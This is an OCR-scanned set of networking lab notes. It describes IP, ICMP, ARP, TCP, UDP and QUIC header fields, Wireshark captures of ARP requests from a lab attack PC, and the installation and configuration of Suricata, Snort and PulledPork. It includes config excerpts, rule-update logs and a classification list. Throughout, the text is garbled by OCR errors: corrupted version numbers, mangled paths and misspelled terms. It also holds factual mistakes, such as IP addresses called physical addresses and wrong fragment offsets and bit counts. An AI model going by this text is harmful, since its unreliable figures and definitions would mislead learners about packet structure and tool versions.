Maximum Transmission Unit (MTU) is 1500 Bytes and if 3 packet were 1600 Bytes.
[Then the packet will be fragmented into two:

Fragment 1: Fragment Offset: 0- 1439 (MF flag set) (1500 Bytes)

Fragment 2: Fragment Offset: 1500 - 1600 (MF fiag unset) (100 Bytes)

Using this information, the packet can be re-assembled by the receiving device.
[Time To Live (171} 8 |Provides a limited amount of time that 3 packet can be transmitted. Each router the.
packet encounters decrements the TTL value by 1. Once the TL value reaches 0, the
packet s discarded. Without the TTL field packets would circulate indefinitely.

Different Operating Systems and Applications use different TTL values, this can be &
ey component to determine the type of system or tool that sent the packet

Protocol 8 [1aentifies the protocol used o that the packet can be processed conectly by the
receiving device. Each protocol (1.2 ICMP, TCP or UDP) is 3llocated a unique protocol
number by the Internet Assigned Number Authority (IANA) to allow identification of
[the protoco! associated with that packet (ICMP (1), TCP s), UDP (17))

Feader checksum 16|13 Error checking mechanism of the [P Header only. A checksum valu 1s generated for
each packet. This checksum is examined by each router, if the values do not match,
[the packet is discarded

(Calcutating the "Internet Checksum" is defined by REC 1071 This method is also used
by other packet types.

Header Checksum Calculation:
1. Divide the IP header into 16 bit words, calculate the sum of these values using
|One's compliment. One's compliment is a method of inverting the 1's and 0's

2. Take the one's compliment of the result by inverting 1's and 0s.

3. Add the resuit into the Header Checksum field.

[Source 1P Address 32 [Physical L3 address of the sender.
Destination IP Address 32 [Physical L3 address of the recipient
[Options. 0320 |Not commonly used in modern networking. Originally Used to provide debugging and
|security options.
Data / Payioad Upto [Encapsulated L4 Segment
65515

Bytes | If this exceeds the MTU, then the packet will be fragmented.
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ICMP Ping ICMP Ping Packet
bits (b) ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Additional Information
Nibble [0 | 1 2 | s 4 5 6 7 8
Bytes (B) |0 1 2 3 4
bits(b) |0 8 16 24 31
Type [8 bits] Code [8 bits] Checksum [16 bits] ICMP Header - common to all ICMP packets

32-576
Byte
Payload

Identifier [16 bits]

Sequence Number [16 bits]
Data (Payload) [32-576 Bytes / 256-4,608 bits]
Contains a timestamp, the original IP Address Header used to reply with an error message

Header will vary based on Type and Code. This is ping,
Payload
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Type 8 |Differentvalues indicate the type of ICMP packet being sent. The fields of the packet will
|vary depending on ICMP Type.

(Examples of ICMP Types: Echo Request (8) (Ping), Echo Reply (0) (Ping Reply), Timestamp
(13) Timestamp Reply (14)

[Code 8 |The Code field is used in conjunction with Type field. It can be thought of as a subset of
Type. Example: Type 3 is Destination Unreachable, there are 15 different codes associated
|with this ICMP Type.

Exampl
|Code 0: Dest Network unreachable
|Code a: Fragmentation required but the Do Not Fragment (DF) flagis set
|Code 9: Network Administratively Prohibited. This points to a firewall rule blocking
[checksum 16 |Error checking mechanism for entire ICMP packet.
Calculatio
[The checksum is calculated using the one's compliment method explained for the P
Packet Header Checksum as defined by RFC1071.
Rest of ICMP Header will vary depending on ICMP Type. This is an example of a Ping packet
Identifier 16 |Used to match Echo Requests with Echo Replies.
[sequence Number 16__|The sequence number increments by one each time. This also aids in identifying the
Data / Payload 576 Bytes[Contains a timestamp, the original IP Address Header used to reply with an error message
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ARP ARP Packet
bits (b) |0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble |0 1 2 3 4 5 6 7 8|Information
Bytes (B) |0 1 2 3
bits (b) |0 8 16 2 31
Protocol [16 bits]

Hardware Address Length [8 bits] Protocol Address Length [8 bits] Opcode [16 bits]
28 Byte B .
o Sender Protocol Address (SPA) (Destination IP Address) [32 bits]

Sender Protocol Address (SPA) (Destination IP Address) [32 bits] Continued
Target Hardware Address (THA) (Destination MAC Address) 48 [bits]
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ARP Packet

Field Description

Hardware Type Identifies the L2 Hardware type, commonly set to Ethernet, (other types i.e Token Ring,
protocol Identifies protocol used i.e. IPv4 which is (0x0800) or IPv6

Hardware Address Length 8 |Provides the length (size) of the MAC Address - 2

Protocol Address Length 8 |provides the length (size) of the IP Address - (3

Oporation Code (Opcode) 16__|indicates whether the packet is an ARP Request (set to 1) or ARP Reply (setto 2)
Sender Hardware Address (SHA) | 48 |MAC Address of sending device

Sender Protocol Address (sPA) 32__|IP Address of sending device

[Target Hardware Address (THA) 48__|MAC Address of receiving device - If ARP Request this field will be all Os or all I's
[Target Protocol Address (TPA) 32 |IP Address of receiving device
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M PHASE1-Suricata-Tests36-49.pcap
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @ ENREAe"EFS Qaar

Trppl o dsploy fter . <cuil> T3 )+ Fiteron 10025 10,026
No. Time Source. Destination Protocol  Length Info

40684 2025-10-03 16:41:01.22834.. PcsCompu_69:b5:b6 Broadcast ARP 60 Who has 10.0.2.111? Tell 10.0.2.70 !

> Frame 40684: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits) on interface enpes3, id @
v Ethernet II, Src: PcsCompu_69:bS:b6 (08:00:27:69:b5:b6), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
v Destination: Broadcast (ff:ff:ff:ff:ff:ff)
Address: Broadcast (ff:ff:ff:ff:ff:ff)
LG bit: Locally administered address (this is NOT the factory def.

s 16 bit: Group address (multicast/broadcast)
v Source: PcsCompu_69:b5:b6 (08:00:27:69:b5:b6)
Address: PcsCompu_69:b5:b6 (08:00:27:69:b5:b6)

LG bit: Globally unique address (factory default)
- 16 bit: Individual address (unicast)

Type: ARP (0x0806)

Padding:
v Address Resolution Protocol (request)

Hardware type: Ethernet (1)

Protocol type: IPv4 (0x0800)

Hardware size: 6

Protocol size: 4

Opcode: request (1)

Sender MAC address: PcsCompu_69:b5:b6 (08:00:27:69:b5:b6)

Sender IP address: 10.0.2.70

Target MAC address: 00:00:00_00:00:00 (00:00:00:00:00:00)

Target IP address: 10.0.2.111

Ll

Destination

Source

Type

Address Resolution
Ll

Protocol

I IR L

Hardware type

Protocol type

Hardware size

Protocol size

Opcode

Sender MAC address

Sender IP address

Target MAC address

Target IP address

@ 7 PHASEI-Suricata-Tests36-49.pcap

|| Packets: 52069 - Displayed: 52069 (100.0%)

|| Profile: Default
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M PHASE1-Suricata-Tests36-49.pcap = o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

Am 1@ =FNREBIQ &= Qe Qi

TAply & display fiter . <G> 3 )+ Fiteron 10025 10026
No. Time Source Destination Protocol  Length Info

42755 2025-10-03 16:51:00.32862... PCSCOInpu769:b5:b6 Broadcast ARP 60 Who has 10.0.2.111? Tell 10.0.2.70 0

> Frame 42755: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface enpes3, id @

v Ethernet II, Src: PcsCompu_69:bS:b6 (98:00:27:69:b5:b6), Dst: Broadcast (Ff:ff:ffiffiffiff) Ethernet
© Destination: Broadcast (ff:ff:ff:ff:ff:ff) T T T
Address: Broadcast (ff: fiffiffiff) .
LG bit: Locally administered address (this is NOT the factory def. Destination
16 bit: Group address (multicast/broadcast)
v Source: PcsCompu_69:b5:b6 (08:00:27:69:b5:b6)
Address: PcsCompu_69:b5:b6 (08:00:27:69:b5:b6) Source
LG bit: Globally unique address (factory default)
16 bit: Individual address (unicast) Type
Type: ARP (0x0806)
Padding:
© Address Resolution Protocol (request)
Hardware type: Ethernet (1)
Protocol type: IPv4 (0x0800) )
Hardware size: 6 Padding
Protocol size: 4
Opcode: request (1) Address Resolution Protocol
Se":er"“c::dre“: Pcscompu_69: v b s s b
Sender IP address: 10.0.2.70
Target MAC address: 00:00:00_00: Hardware type Protocol type
Target IP address: 10.0.2.111 Hardware size Protocol size Opcode
Sender MAC address
Sender IP address
Target MAC address
Target IP address

@ 7 PHASEL-Suricata-Tests36-49.pcap || Packets: 52069 - Displayed: 52069 (100.0%) || Profile: Default
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Ethernet Il
Destination
lifininining lifininining Destination is Broadcast
LG Bit: Globally unique address (factory default) |Locally administered address (this is NOT the factory default) |Locally administered address (this is NOT the factory default) |Locally Administered
1G Bit: Individual address (Unicast) Group Address (Multicast/broadcast) Group Address (Multicast/broadcast) Group Address (Multicast/broadcast)
Source MAC Address of Attack PC MAC Address of Attack PC
LG Bi Globally unique address (factory default) |Globally unique address (factory default) Globally unique address (factory default)
1G Bit: Individual address (Unicast) Individual address (Unicast) Individual address (Unicast)
Type ARP (0x0806) ARP (0x0806) ARP (0x0806) ARP (0x0806) Common
Padding 36 Zeroes NONE Neither Attack tools have padding
Trailer 36 Zeroes NONE
Address Resolution Protocol request)
Hardware type: |Ethernet (1) Ethernet (1) Ethernet (1)
6| 6| 6|Common to all
4 4 4/Common to all
Request (1) Request (1) Request (1) Common to all
Length (Bytes) 60 58 42|Packet size / Length different to all ARP packets.
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TcP TCP Segment
bits (b) |0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble |0 1 2 3 4 5 6 7 8|Information
Bytes (B) |0 1 2 3 4
bits (b) |0 8 16 2 31
TCP Header
e Sequence Number [32 bits]
Header
Reserved [3 b] Flags (SYN|ACK|URG|PSH|FIN|RST) [3 bits]
um [16 b Urgent Pointer [16 bi

40 Byte Options & Padding [0 - 40 Bytes / 0 - 320 bits]

Options.

0-1460 Data (Payload) Variable [Typical values for IPv4 are between 0 - 1460 Bytes / 116,800 bits] Payload

Byte TCP Max Segment Size (MSS) relates to L3 Packet MTU
Payload MSS = MTU - (IP Header Length + TCP Header Length)
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[source port 16 | All port numbers are assigned by IANA. The source port number is usually in the dynamic
port range, this is the port that the sending device will listen on for a reply.
Destination Port 16 |The destination port is usually assigned to an application o service, ensures that the

|datagram is processed correctly and the data is forwarded to the correct application.
[tcp/22 s SSH, tcp/80 HTTP, tcp/443 HTTPS, tcp/445 is SMB.

[sequence Number 32 |Used to keep track of segments, the sequence number is used to reassemble the original
|data, even if the segments arrive out of order.
[Acknowledgement Number 32 |Used in conjunction with the Sequence Number.

|Acknowledges the successful receipt of the segment and indicates to the transmitting
| device that it is ready for the next segment. Furthermore, the receiver sets the
|Acknowledgement number as the next Sequence number it is expecting from the
[transmitting device.

Header Length (HLEN) / 4 [specifies the length or size of the header this also indicates the Data Offset specifying
Data Offset (DO) [where the data/payload begins.

Reserved 3 |Reserved for potential future use, currently set to zero.

Flags 3 |SYN (synchronise): Initiates the 3-way TCP handshake.

|ACK (Acknowledgement): Used to acknowledge a segment has been received.

URG (Urgent): Indicates that the segment should be processed immediately. Used in
|conjunction with the Urgent Pointer.

PSH (Push): Indicates that data should be processes immediately, send the data to the
|Application layer withough waiting for buffering.

FIN (Finish): Gracefully terminates a session, indicates the sender had finished
transmitting data indicating the session should be closed.

RST (Reset): Terminates a session, sometime due to an error. (i.e. if a packet is sent toa
|closed port on the target PC an RST packet would be transmitted to the sending device).

[Window Size 16 [The receiving device sets the Window Size, determining the amount of data it can process
lbased on the capacity of its buffer. Window size is crucial part of TCP flow control.
[checksum 16 |Error checking mechanism for entire TCP packet.

Calculat

[The checksum is calculated using the one's compliment method explained for the P

Packet Header Checksum as defined by RFC1071.

Urgent Pointer 16 |Ifthe URG flag s set, the Urgent Pointer field will be examined and points to the final

bytes of urgent data within the segment.

Used to indicate to the receiving device that this data should be processed as a priority.

Options & Padding Upto [Options: Provides additional features, such as Timestamps which measure round trip time
40 |and can be used to improve performance.

Bytes |Padding: Ensures that the header ends on the 32-bit boundary. This s to clearly define

[the end of the header and the start of the payload/data.

Data / Payload Upto [Encapsulated LS Data

1460

Bytes
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UDP UDP Datagram

bits (o) |0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble |0 1 2 3 4 5 6 7 8|Information
Bytes (B) |0 1 2 3 4
bits (b) |0 8 16 2 31

Checksum (Optional IPv4 / Mandatory IPv6) [16 bits]
0-1460 Data (Payload) Variable [Typical values for IPv4 are between 0 - 1460 Bytes / 116,800 bits] Payload

Byte TCP Max Datagram Size (MDS) relates to L3 Packet MTU
Payload MDS = MTU - (IP Header Length + UDP Header Length)
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[source port ‘Al port numbers are assigned by IANA. The source port number s usually in the dynam:
port range, this is the port that the sending device will listen on for a reply.

Destination Port [The destination port is usually assigned to an application o service, ensures that the

| datagram is processed correctly and the data is forwarded to the correct application.

lupd/53 is DNS, udp/137 udp/138 are NetBIOS over TCP/IP.

[Total Length [This is the total size of the datagram including the header and data/payload.

[checksum (1Pva Optional / IPv6 Mandatory)

Error checking mechanism for entire UDP datagram.
calculatior
[The checksum is calculated using the one's compliment method explained for the P
Packet Header Checksum as defined by RFC 1071.

Data / Payload Encapsulated L5 Data
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Quic QUIC Packet

bits (b) ) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31| Additional
Nibble |0 1 2 3 4 | s 6 7 8| Information
Bytes (B) |0 1 2 3 4

bits (b) |0 8 16 24 31

Connection ID [64 bits]

Packet Number [Variable Length, 8, 16, 32 or 48 bits]
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root@ubuntu:/home/cslab# tcpdump -i enp@s3 -w tcpdumptest.pcapll
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enpos3
Toot”. This could be dangerous.

root@ubuntu:/home/cslab# tshark
Running as user "root” and group
Capturing on 'enp0s3’

1 0.000000000 10.0.2.4 5 10.0.2.15  SSH 102 Client: Encrypted packet (len-36)
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cslab@suricata:~$ suricata -V
This is Suricata version 7.0.10 RELEASE

carabesuricazais ||

cslab@snort2:~3 snort -V

—*> Snorc! <r-
o" )~ Version 2.9.20 GRE (Build 82)

By Martin Roesch & The Smort Team: http://www.snort.org/contactiteam
Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.

Using libpcap version 1.10.4 (with TRACKET V3)

Using BCRE version: 8.39 2016-06-14

Using ZLIB version: 1.3

ER |

cslab@snort3:~$ snort -V

e —*> Snorta+ <o

o" )~ Version 3.7.4.0

. By Martin Roesch & The Smort Team
nttp://snort.org/contactitean
Copyright (C) 2014-2025 Cisco and/or its affiliates. ALl rights reserved.
Copyright (C) 1998-2013 Sourcefire, Inc., et al.
Using DAQ version 3.0.19
Using Jemalloc version 5.3.0-0-gSéeaedldSbSeblaas28be3bddls77es9cs6£as0c
Using libpcap version 1.10.4 (with TPACKET V3)
Using LuaJIT version 2.1.1703358377
Using L2MA version 5.4.5
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Using BCRE2 version 10.42 2022-12-11
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sudo apt install suricata
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setting up librte-ip-fraged:amded (23.11-lubuntue.1)
fsetting up librte-net-hond2d:amdsd (23.11-1ubuntue.1)
fsetting up suricata (1:7.6.3-1builds

created sumlink /etcs/systend/system/multi-user.target.uants/suricata.service + /usr/lib/systemd/systen/suricata.service
fsetting up Libuuw-perl (6.76-1)
fsetting up oinkmaster (2.6-4.2)
fsetting up liblup-protocol-https-perl (6.13-1)
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root@suricata:/etc# suricata -V
This is Suricata version 7.9.10 RELEASE
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sudo apt install snort
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root@snort2: shome/cslab# snort -V

-4 Snort | ok
version 2.9.20 GRE (Build 82)

By Martin Roesch & The Snort Team: http://wmw.snort.org/contact#team
Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved
Copyright (C) 1998-2013 Sourcefire, Inc., et al

Using Libpcap version 1.16.4 (with TPACKET_v3)

Using PCRE version: 8.39 2016-96-14

Using 2LI8 version: 1.3
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[ 94%] Building CxX object tools/snort2lua/output_states/CMakeFiles/output_states.dir/out_unified2.cc.o

[ 95%] Building CXX object tools/snort2luasoutput_states/CHakeF iles/output_states.dir/out_unixsock.cc.o

[ 95%] Building CXX ohject tools/snort2lua/output_states/CMakeFiles/output_states.dir/output_api.cc.o

[ 95%] Built target output_states

[ 958 Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_appid.cc.o

[ 95%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_arpspoof.cc.o

[ 95%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_bo.cc.o

[ 95%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_dcerpe.cc.o

[ 95%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_dcerpe_server.cc.o

[ 95%] Building CXX ohject tools/snart2lua/preprocessor_states/CMakeFiles/preprocessor_states.dir/pps_dnp3.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_fragd_engine.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/ops_fragd_global.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_ftp_telnet.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_ftp_telnet_protocal.cc.o
[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_gtp.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_httn_inspect.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_http_inspect_server.cc.o
[ 96%] Building CXX ohject tools/snartzlua/preprocessor_states/CMakeFiles/preprocessor_states.dir/pps_normalizers.cc.o

[ 96%] Building CXX ohject tools/snartzlua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_perfmonitor.cc.o

[ 96%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_reputation.cc.o

[ 972 Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_rpc_decode.cc.o

[ 972 Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_sdf.cc.o

[ 97%] Building CXX ohject tools/snortzlua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_sip.cc

[ 97%] Building CXX ohject tools/snortzlua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_ssh.cc
[ 97%] Building CXX ohject tools/snortzlua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_ssl.cc
[ 97%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_dns.co
[ 97%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/pps_pop.co
[ 97%] Building CXX ohject tools/snartzlua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_imap.cc.o

[ 97%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_modbus.cc.o

[ 972 Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_rna.cc.o

[ 97%] Building CXX ohject tools/snart2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_smip.cc.o

[ 98%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_sfportscan.cc.o

[ 98%] Building CXX ohject tools/snort2lua/preprocessor_states/CHakeF iles/preprocessor_states.dir/pps_streams_ip.cc.o

[ 98%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_streams_global.cc.o
[ 98%] Building CXX ohject tools/snartzlua/preprocessor_states/CMakeFiles/preprocessor_states.dir/pps_streams_tcp.cc.o

[ 98%] Building CXX ohject tools/snartzlua/preprocessor_states/CMakeFiles/preprocessor_states.dir/pps_streams_udp.cc.o

[ 98%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessor_states.dir/pps_streams_ha.cc.o

[ 98%] Building CXX ohject tools/snort2lua/preprocessor_states/CMakeF iles/preprocessar_states.dir/preprocessor_api.cc.o
[ 98%] Built target preprocessor_states

[ 98%] Building CXX object tools/snort2luasCMakeFiles/snort2lua.dir/snort2lua.cc.o

[ 98%] Building CXX object tools/snort2lua/CMakeFilesssnort2lua.dirsinit_state.cc.o

[ 98%] Linking Cxx executable snortzlua

[ 98%] Built target snort2lua

[ 98%] Building C ohject daos/CHakeFiles/dag_file.dirsdag_file.c.o

[ 98%] Linking C shared module dag_file.so

[ 98%] Built target dag_file

[100%] Building C ohject dans/CHakeFiles/daq_hext.dir/dag_hext.c.o

[100%] Linking C shared module dag_hext.so

[106%] Built target dag_hext

root@snort3:/home/cs lab/snort/snort3-3.7.4.0/buildé
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Installing:
Installing:

Installing:
Installing:
Installing:

Installing:
Installing:
Installing:

Up-to-date:
Installing:
Installing:

Installing:

susr/localssharesdoc/snort/sensitive_data. txt
/usr/local/share/doc/snort/side_channel. txt
/usr/local/share/doc/snart/smin. txt
/usr/local/share/doc/snort/snort2x. png
/usr/local/share/doc/snort/snortax. png
/usr/local/share/doc/snort/snort _user. txt
/usr/local/share/doc/snart/snorty . png
/usr/local/share/doc/snort/telnet . txt
/usr/local/share/doc/snort/terms. txt
/usr/local/share/doc/snort/trace, txt
/usr/local/share/doc/snort/tutorial. txt
/usr/local/share/doc/snort /usage. txt
/usr/local/share/doc/snort/wizard. txt
/usr/local/share/doc/snart/snort _user. text
/usr/local/share/doc/snort /appendix. txt
/usr/local/share/doc/snort /building. txt
/usr/local/share/doc/snort/builtin_stubs. txt
/usr/local/share/doc/snort/envira. txt
/usr/local/share/doc/snort/snort_reference. txt
/usr/local/share/doc/snort/snort_reference. text
/usr/local/share/doc/snart/dif ferences. txt
/usr/local/share/dac/snort /overyiew. txt
/usr/local/share/doc/snort/snort2lua. trt
/usr/local/share/doc/snort/snort_upgrade. txt
/usr/local/share/doc/snart/conf ig_changes. txt
/usr/local/share/doc/snart/snort _upgrade. text
/usr/local/share/doc/snart/snort_devel. txt
/usr/local/share/doc/snort /extending . txt
/usr/local/share/doc/snort/style. txt
/usr/local/share/doc/snort /versians. txt

root@snart3:/home/cslab/snort/snort3-3.7.4.0/build# /usr/localshin/ snart -V
hash: /usr/localsbin/: Is a directory
root@snart3:/hame/cslab/snort/snort3-3.7.4.0/build# /usr/localsbin/snort -y

SH SnoPts Gk
version 3.7.4.0
By Martin Roesch & The Snort Team

http://snort.org/contact#tean

Copyright (C) 2014-2025 Cisco and/or its affiliates. ALl rights reserved
Copyright (C) 1998-2013 Sourcefire, Inc., et al

Using DAQ version 3.6.19

Using Jemalloc version 5.3.0-8-g54eaed1d8hSeh1aas2Bhesbdd1877e59c56fag00
Using libpcap version 1.16.4 (with TPACKET_v3)

Using LuaJIT version 2.1.1703358377

Using LZHA version 5.4.5

Using OpenSSL 3.6.13 30 Jan 2024

Using PCRE2 version 10.42 2022-12-11

Using 2L18 version 1.3

root@snort3: /home/cs lab/snort/snort3-3.7.4.0/buildé
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rule counts
total rules loaded:
text rule

219
219

option chains: 213
chain headers: 1

service rule counts to-srv to-cli
file_i 219 219
total: 219 219

fast pattern groups
to_server: 1
to_client: 1

search engine (ac_bnfa)
instances: 2
patterns: 438
pattern chars: 2602

num states: 1832
num match states: 332
memory scale: KB

total memory: 71.2812
pattern memory: 19.6484
match list memory: 28.4375
transition memory: 22.3453
appid: MaxRss diff: 3328
anpid: patterns loaded: 300

pcap DAQ configured to passive.

Snort successfully validated the configuration (with @ warnings).
0')™  Snort exiting
root@snort3: shomescs lab/snort /snort3-3.7.4.6/buildd
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jroot@snorta: susr/local/binspulledporkds susrslocal/bin/pulledporks/pulledpork.py -v
PulledPork v3.0.0.5

https://github.con/shirkdog/pulledporks

FulledPork v3.0.0.5
Loucountry yellow mustard bby sauce is the best bby sauce. Fight me.

Copyright (C) 2021 Noah Dietrich, Colin Grady, Michael shirk
and the PulledFork Team!

Rules give me wings!
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CYAML 1.1

! suricata configuration file. In addition to the comments describing all
+ options in this file, full documentation can be found at:
! https://docs.suricata. io/en/latest/canf igurat ion/suricata-yaml.htnl

+ This configuration file generated by Suricata 7.9.10.
uricata-version: "7.6"

3
# Step 1: Inform Suricata about your network
2]

jars:
# more specific is better for alert accuracy and performance
address-groups:
HOME_NET: "'[10.0.2.0/24]"
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suricata.yanl

# - /path/to/plugin.so
# Configure the tupe of alert (and other) logging you would like
putputs:
#a line based alerts log similar to Snort's fast.log
- fast:
enabled: yes
filename: fast.log
append: yes

#filetype: regular # 'regular’, 'unix_stream' or 'unix_dgram

# Extensible Event Format (nicknamed EVE) event log in JSON format

- eve-log:
enabled: yes
filetype: regular #regular|syslog|unix_dgram|unix_stream|redis
il

son
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suricata.uanl

# Linux high speed capture support
af-packet :
- interface: enpos3
# Number of receive threads. "suto” uses the number of cores
#threads: auto
# Default clusterid. AF_PACKET will load balance packets based on flow
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janp- laver:
# error-policy: ignore
protocols:

telnet:
enabled: yes

rib:
enabled: yes
detection-ports:

dp: 5908, 5901, 5902, 5903, 5394, 5905, 5996, 5907, 5908, 5909

ot
enabled: yes
# max-msg-length: 1mb
# subscribe-topic-match-limit: 108
# unsubscr ibe-topic-match-limit: 108
# Maximum number of live MOTT transactions per flow
# max-tx: 4096

krbS:
enabled: yes

bittorrent-dht:
enabled: yes

snmp:
enabled: yes

ike
enabled: yes

tls:
enabled: yes
detection-ports:

dp: 443





image59.png
rules:
# Set to true to allow absolute filenames and filenames that use
# ".." components to reference parent directories in rules that specify
# their filenames.
allow-absolute-filenames: true
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oot Gubuntu
oot aubuntu

var/Lib/suricata/rules# ls
var/1ib/suricata/rules#
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Ir‘nn(@ubun(u /var/lib/suricatasrules# suricata-update
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rooteubuntu: svar/lib/suricata/rules# suricata-update

pos7/2025
pos7/2025

16
16

Hriting svar/lib/suricata/rules/classification.config
Testing with suricata -T.

pos7/2025 -~ 16 Using data-directory /var/libssuricata
pos7/2025 -- 16 Using Suricata configuration setc/suricata/suricata.yanl
pos7/2025 -- 16 Using /etc/suricata/rules for Suricata provided rules
pos7/2025 -- 16 Found Suricata version 7.0.3 at /usr/bin/suricata
pos7/2025 -- 16 Loading /etc/suricata/suricata.yanl
pos7/2025 -- 16 Disabling rules for protocol pesol
pos7/2025 -~ 16: Disabling rules for protocol modbus
pos7/2025 -- 16 Disabling rules for protocol dnp3
pos7/2025 -- 16 Disahling rules for protocol enip
pos7/2025 -- 16 No sources configured, will use Emerging Threats Open
pos7/2025 -- 16:15:44 - Fetching https://rules.emergingthreats.net/open/suricata-7.0.3/emerging. rules. tar.zz
100% - 4985257/4985257
jpos7/2025 -~ 16 6 - Dore.
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/apn-layer-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/decoder-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/dhcp-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/dnp3-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/dns-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricatasrules/files.rules
pos7/2025 -~ 16:15:46 - Loading distribution rule file /etc/suricata/rules/hitp-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/ipsec-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/kerberos-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/modbus-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricatasrules/nis-events.rules
pos7/2025 -~ 16:15:46 - Loading distribution rule file /etc/suricata/rules/nip-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/smb-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rules/smtp-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricata/rulessstream-events.rules
pos7/2025 -- 16 6 - Loading distribution rule file /etc/suricatasrulesstls-events.rules
pos7/2025 -- 16 6 - Ignoring file rules/emerging-deleted.rules
pos7/2025 -- 16 G - Loaded 59951 rules
pos7/2025 -- 16 5 - Disahled 14 rules
po/7/2025 -~ 16:15:49 - Enabled 0 rules
pos7/2025 -- 16 5 - Modified o rules
pos7/2025 -- 16 5 - Dropped @ rules
pos7/2025 -- 16 5 - Enabled 136 rules for floubit dependencies
pos7/2025 -- 16 5 - Backing up current rules
po/7/2025 -~ 16:15:49 - Hriting rules to /var/lib/suricatasrules/suricata.rules: total: 599515 enabled: 44351; added: 599515 removed o modified: o
9
9
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o/ 7/2025
pos7/2025
pos7/2025
o 1/2025

<Info>
<Info>
<Info>
<Info>

Writing rules to svar/lib/suricatasrules/suricata.rules: total: 599515 enabled: 44351; added: 59951; removed @; modified: @
Hriting svar/lib/suricata/rules/classification.config

Testing with suricata -T.

Dore.
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rooteubuntu: svar/lib/suricatasrules# ls
classification.config suricata.rules
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classification:

not-suspicious,Not Suspicious Traffic,3

unknaun, Unknown Traffic,3

bad-unknoun, Potent ially Bad Traffic, 2

attempted-recon, Attempted Information Leak,2
successful-recon-limited, Information Leak,2

successful-recon- largescale,Large Scale Information Leak,2
attempted-dos,Attempted Denial of Service,2

successful-dos,Denial of Service,2

attempted-user,Attempted User Privilege Gain,1

unsuccessful-user, Unsuccessful User Privilege Gain,1
successful-user,Successful User Privilege Gain,1
attempted-adnin,Attempted Administrator Privilege Gain,1
successful-admin, Successful Administrator Privilege Gain,1
rpc-portmap-decode, Decode of an RPC Query,2

shellcode-detect, Executable code was detected,1

string-detect,A suspicious string uas detected,3
suspicious-filename-detect, suspicious filename was detected,2
suspicious-login,An attempted login using a suspicious username was detected,2
systen-call-detect,A system call was detected,2

tcp-connect ion, A TCP connection was detected,¢

trojan-activity,d Network Trojan uas detected, 1
unusual-client-port-connection,f client was using an unusual port,2
